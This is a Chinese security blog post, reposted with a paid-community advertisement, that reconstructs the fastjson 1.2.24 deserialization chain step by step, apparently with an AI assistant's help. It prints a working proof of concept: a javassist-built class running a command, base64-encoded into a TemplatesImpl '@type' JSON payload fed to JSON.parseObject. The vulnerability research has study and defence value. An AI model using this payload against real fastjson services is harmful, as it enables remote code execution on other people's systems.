扫码加圈子
获内部资料
网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。
文章作者:fru1ts
文章来源:https://www.freebuf.com/articles/web/447427.html
研究动机
对于fastjson反序列化漏洞的研究已经是一个老生常谈的问题,但是网上对这个漏洞的分析都是已知这条链然后调试跟进正向分析。这对于反序列化利用连挖掘的学习并不是很有帮助,本文希望通过一种逆向思维,从挖漏洞的角度来还原整条反序列化链,期间会借助DeekSeek帮忙审计来提高效率。
漏洞分析
本文以最初的fastjson反序列化链进行分析,影响版本是1.2.22-1.2.24,更高的版本就是在该版本的利用链基础上做一些限制,只需要正向调试根据限制做相应的绕过即可。
环境搭建
依赖项
<dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.28.0-GA</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.12.0</version></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>5.3.23</version> <!-- 可替换为你的 Spring 版本 --></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency></dependencies>
分析过程
首先需要找到一个sink点。这个sink点的挖掘就得靠经验,或者工具去找。因为这里是做复现,所以我们从一个已知的sink点method.invoke开始。
图 1
这里有很多的method.invoke(Object),而且可以确定method可控,Object则是通过传参。所以最终是只能反射调用无参方法或者走else分支传一个参数。那就要看看Object能不能控制。
也就是看看谁调用了FieldDeserializer.setValue。由于FieldDeserializer是抽象类,所以得先看看继承自他的实现类。
图 2
ResolveFieldDeserializer重写了setValue里面没有可以利用的,所以不可以;ArrayListTypeFieldDeserializer找不到调用他的类。所以看DefaultFieldDeserializer:
图 3
Object的值也是传递进来的,所以需要再往前看调用:
图 4
这两个分析一下可以发现只能走其中的一个,而且都是要走JavaBeanDeserializer的deserialze。因为我们希望走到的是DefaultFieldDeserializer的parseField。正好在773行的fieldDeserializer.parseField所在方法parseField有实例化DefaultFieldDeserializer。
图 5
这里的Object也是传参传进来的,那就继续往前看调用。
图 6
这里的Object也是有可能由我们控制的,只要能够进入我们控制的分支。
首先想到的是TemplatesImpl利用链。我们可以让method为getOutputPropertites,让Object是TemplatesImpl对象。
先测一下这段能不能行得通,先让DeepSeek帮我们写个demo来实例化JavaBeanDeserializer并调用deserialze来调试。
package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import java.lang.reflect.Type;public class JavaBeanDeserializerDemo {public static void main(String[] args) {// 1. 准备JSON字符串String json = "{\"name\":\"张三\",\"age\":29}";// 2. 创建解析器DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());// 3. 创建JavaBeanDeserializer实例JavaBeanDeserializer deserializer = new JavaBeanDeserializer(ParserConfig.getGlobalInstance(),com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class);// 4. 调用deserialze方法Object result = deserializer.deserialze(parser, // 解析器com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型null // 字段名(这里不需要)// 已有对象(用于更新场景)// 特性标志位);// 5. 关闭解析器(重要!)parser.close();}}
这样可以走到图6,但是进去后就会发现fieldDeserializer是null。
图 7
看看key要传什么才能让smartMatch不返回空,跟进去把代码丢给DeepSeek。
图 8
DeepSeek给的答案如下:
直接字段名匹配
// 完全匹配(区分大小写)key.equals(fieldInfo.name) // 或忽略大小写匹配key.equalsIgnoreCase(fieldInfo.name)
示例:若目标类有字段String userName,则以下key可匹配:
"userName"(完全匹配)"USERNAME"(忽略大小写)
Boolean 字段的
is前缀匹配
// 规则:key以"is"开头 + 字段是boolean类型 + 剩余部分匹配字段名key.startsWith("is") && (fieldClass == boolean.class || fieldClass == Boolean.class)&& key.substring(2).equalsIgnoreCase(fieldInfo.name)
示例:若目标类有字段boolean active,则以下key可匹配:
"isActive"→ 匹配active字段"ISACTIVE"→ 忽略大小写
蛇形/烤串命名转换
// 规则:key包含'_'或'-',去除后匹配字段名key.replaceAll("_|-", "").equalsIgnoreCase(fieldInfo.name)
示例:若目标类有字段String createdAt,则以下key可匹配:
"created_at"(蛇形)"created-at"(烤串)
备用名匹配(alternateName)
// 规则:检查字段是否通过注解声明了备用名fieldDeser.fieldInfo.alternateName(key)
示例:若字段通过@JSONField(name = {"username", "loginName"})声明,则以下key可匹配:
"username""loginName"
调试可以发现fieldInfo.name的值来自sortedFieldDeserializers,只有3个:outputProperties,outputProperties,uRIResolver。
参照方法3可以把键名设置为TemplatesImpl的属性_outputProperties。
package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import java.lang.reflect.Type;public class JavaBeanDeserializerDemo {public static void main(String[] args) {// 1. 准备JSON字符串String json = "{\"_outputProperties\":\"张三\",\"age\":29}";// 2. 创建解析器DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());// 3. 创建JavaBeanDeserializer实例JavaBeanDeserializer deserializer = new JavaBeanDeserializer(ParserConfig.getGlobalInstance(),com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class);// 4. 调用deserialze方法Object result = deserializer.deserialze(parser, // 解析器com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型null // 字段名(这里不需要)// 已有对象(用于更新场景)// 特性标志位);// 5. 关闭解析器(重要!)parser.close();}}
再次运行代码,发现报错:
图 9
把这个报错丢给DeepSeek帮我们解析了这个错误:
|
|
|
|
|---|---|---|
|
|
{ |
|
|
|
" |
|
|
|
_outputProperties |
|
|
|
" |
|
|
|
: |
|
|
|
" |
|
|
|
张 |
|
|
|
三 |
|
|
|
" |
|
|
|
, |
|
|
|
|
|
第25个字符是张三这个位置,希望是{,所以改成
String json = "{\"_outputProperties\":{},\"age\":29}";
运行发现已经能够执行到TemplatesImpl的getOutputProperties:
图 10
图 11
可以发现就差给这些属性赋值就可以加载恶意类命令执行了在json字符串直接添加:
String json = "{\"_outputProperties\":{},\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"]}";
结果发现压根没传进去!
图 12
调试发现图3的SetValue,如果key处理不返回null就会看有没有这个属性的getter或者setter方法,有就触发,null的话可以构造使其将value存到对象的field中。因为_outputProperties写在前面先处理了,然后_name、_tfactory、_bytecodes还没处理,所以都没有给TemplatesImpl的属性赋值就调用,因此都是null而不能加载恶意字节码。
所以换个顺序:
String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";
并且要能够走到设置值的代码中,也就是走到SetValue,因为如果smartMatch("_name");、smartMatch("_tfactory");...这些返回都是null,所以我们需要走到下面设置fieldDeserializer的地方。
图 13
所以至少要过这个if:
图 14
图 15
发现mask是131072不会变,那几只能改this.features,这里一直是989导致989 & 131072=0,而989是创建JSONScanner时传入的。
图 16
因为我们的是通过这个构造函数传入的,所以我可以通过下面features可控的构造函数传入。
因为131072 & 131072 =131072,所以就传个131072。
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);
这样就可以传进去了,但是又报错了。
图 17
46是_bytecodes这里出问题,问下DeepSeek。
图 18
图 19
而且调试也可以发现对于[]里面用""包裹的会进行base64解码,所以对bytecodes base64编码一下。
图 20
大功告成。
package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Type;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class JavaBeanDeserializerDemo {public static void main(String[] args) throws Exception {byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");String code= Base64.getEncoder().encodeToString(bytes);// 1. 准备JSON字符串String json = "{\"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";// 2. 创建解析器DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);// 3. 创建JavaBeanDeserializer实例JavaBeanDeserializer deserializer = new JavaBeanDeserializer(ParserConfig.getGlobalInstance(),com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class);// 4. 调用deserialze方法Object result = deserializer.deserialze(parser, // 解析器com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型null // 字段名(这里不需要)// 已有对象(用于更新场景)// 特性标志位);// 5. 关闭解析器(重要!)parser.close();}public static byte[] getEvilClass(String cmd) throws Exception {//获取恶意类字节码ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);ctcconstructor.setBody(cmd);ctClass.addConstructor(ctcconstructor);ctClass.getClassFile().setMajorVersion(49);byte[] bytes = ctClass.toBytecode();ctClass.writeFile(); //写入文件byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取return code;}}
接下来就是,只需要找一下JavaBeanDeserializer的调用链即可,并且把
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl传给JavaBeanDeserializer。
图 21
看ParserConfig:
图 22
由createJavaBeanDeserializer调用,createJavaBeanDeserializer由getDeserializer调用:
图 23
DefaultJSONParser的Object parseObject(final Map object, Object fieldName)调用了getDeserializer:
图 24
图 25
这里需要有一个健@type,并且里面放com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以传到JavaBeanDeserializer。因为fastjson的处理顺序是从前往后,因为需要现有一个类才能进行属性赋值,所以@type要放到最前面。
DefaultJSONParser的parse(Object fieldName)调用了Object parseObject(final Map object, Object fieldName):
图 26
JavaObjectDeserializer的deserialze中调用了DefaultJSONParser的parse(Object fieldName)。
图 27
就这样一步步往上找,接下来找DefaultJSONParser的parseObject,然后是JSON的parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features)。
图 28
就直接用这几个就可以,调到这里是因为fastjson常用的用法就是用JSON的parserObject。
所以最后改成:
package fastjsonTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.DefaultJSONParser;import com.alibaba.fastjson.parser.ParserConfig;import com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer;import com.alibaba.fastjson.util.TypeUtils;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Type;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class JavaBeanDeserializerDemo {public static void main(String[] args) throws Exception {byte[] bytes=getEvilClass("Runtime.getRuntime().exec(\"calc\");");String code= Base64.getEncoder().encodeToString(bytes);// 1. 准备JSON字符串String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_name\":\"xxx\",\"_tfactory\":{},\"_bytecodes\":[\""+code+"\"],\"_outputProperties\":{}}";// // 2. 创建解析器// DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(),131072);//// // 3. 创建JavaBeanDeserializer实例// JavaBeanDeserializer deserializer = new JavaBeanDeserializer(// ParserConfig.getGlobalInstance(),// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class,// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class// );////// // 4. 调用deserialze方法// Object result = deserializer.deserialze(// parser, // 解析器// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class, // 目标类型// null // 字段名(这里不需要)// // 已有对象(用于更新场景)// // 特性标志位// );////// // 5. 关闭解析器(重要!)// parser.close();JSONObject jsonObject = JSON.parseObject(json, JSONObject.class,131072);}public static byte[] getEvilClass(String cmd) throws Exception {//获取恶意类字节码ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);ctcconstructor.setBody(cmd);ctClass.addConstructor(ctcconstructor);ctClass.getClassFile().setMajorVersion(49);byte[] bytes = ctClass.toBytecode();ctClass.writeFile(); //写入文件byte[] code= Files.readAllBytes(Paths.get("a.class"));//从文件读取return code;}}
堆栈调用如下:
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:1076, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:1081, DefaultJSONParser (com.alibaba.fastjson.parser)deserialze:28, MapDeserializer (com.alibaba.fastjson.parser.deserializer)parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:611, DefaultJSONParser (com.alibaba.fastjson.parser)parseObject:289, JSON (com.alibaba.fastjson)main:53, JavaBeanDeserializerDemo (fastjsonTest)
我们是神农安全,点赞 + 在看 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。
内部圈子介绍
圈子专注于更新src/红蓝攻防相关:
1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决
内部圈子专栏介绍
知识星球内部共享资料截屏详情如下
(只要没有特殊情况,每天都保持更新)
知识星球——神农安全
星球现价 ¥50元
如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌
星球人数少于1400人 50元/年
星球人数少于1600人 65元/年
(新人优惠卷20,扫码或者私信我即可领取)
内部知识库--(持续更新中)
知识库部分大纲目录如下:
知识库跟知识星球联动,基本上每天保持更新,满足圈友的需求
知识库和知识星球有师傅们关注的EDUSRC和CNVD相关内容(内部资料)
还有网上流出来的各种SRC/CTF等课程视频
量大管饱,扫描下面的知识星球二维码加入即可
不会挖CNVD?不会挖EDURC?不会挖企业SRC?不会打nday和通杀漏洞?
直接加入我们小圈子:知识星球+内部圈子交流群+知识库
快来吧!!
神农安全知识库内部配置很多内部工具和资料💾,玄机靶场邀请码+EDUSRC邀请码等等
快要护网来临,是不是需要护网面试题汇总?问题+答案(超级详细🔎)
最后,师傅们也是希望找个好工作,那么常见的渗透测试/安服工程师/驻场面试题目,你值得拥有!!!
内部小圈子——圈友反馈(良心价格)
有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
往期回顾

